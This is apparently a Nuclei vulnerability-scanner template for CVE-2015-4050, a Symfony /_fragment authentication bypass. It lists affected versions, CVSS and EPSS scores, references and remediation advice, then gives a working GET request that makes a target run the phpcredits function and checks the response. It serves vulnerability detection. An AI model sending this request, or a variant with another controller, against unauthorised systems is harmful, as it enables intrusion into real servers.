47 lines
1.7 KiB
YAML
47 lines
1.7 KiB
YAML
id: CVE-2015-4050
|
|
|
|
info:
|
|
name: Symfony - Authentication Bypass
|
|
author: ELSFA7110,meme-lord
|
|
severity: medium
|
|
description: Symfony 2.3.19 through 2.3.28, 2.4.9 through 2.4.10, 2.5.4 through 2.5.11, and 2.6.0 through 2.6.7, when ESI or SSI support enabled, does not check if the _controller attribute is set, which allows remote attackers to bypass URL signing and security rules by including (1) no hash or (2) an invalid hash in a request to /_fragment in the HttpKernel component.
|
|
remediation: |
|
|
Apply the latest security patches or upgrade to a non-vulnerable version of Symfony.
|
|
reference:
|
|
- https://symfony.com/blog/cve-2015-4050-esi-unauthorized-access
|
|
- http://symfony.com/blog/cve-2015-4050-esi-unauthorized-access
|
|
- http://www.debian.org/security/2015/dsa-3276
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2015-4050
|
|
- http://lists.fedoraproject.org/pipermail/package-announce/2015-June/159513.html
|
|
classification:
|
|
cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
|
|
cvss-score: 4.3
|
|
cve-id: CVE-2015-4050
|
|
cwe-id: CWE-284
|
|
epss-score: 0.00847
|
|
epss-percentile: 0.80241
|
|
cpe: cpe:2.3:a:sensiolabs:symfony:2.3.19:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: sensiolabs
|
|
product: symfony
|
|
tags: cve,cve2015,symfony,rce
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/_fragment?_path=_controller=phpcredits&flag=-1"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "PHP Credits"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4a0a00473045022052f0ea003c8d1e79ed4129e619e7a17c73d82145e76f22dd5cc03bffd93084e002210081076519b502bb2f769f85d28982b5d1de90195564b13627a745baa450681244:922c64590222798bb761d5b6d8e72950
|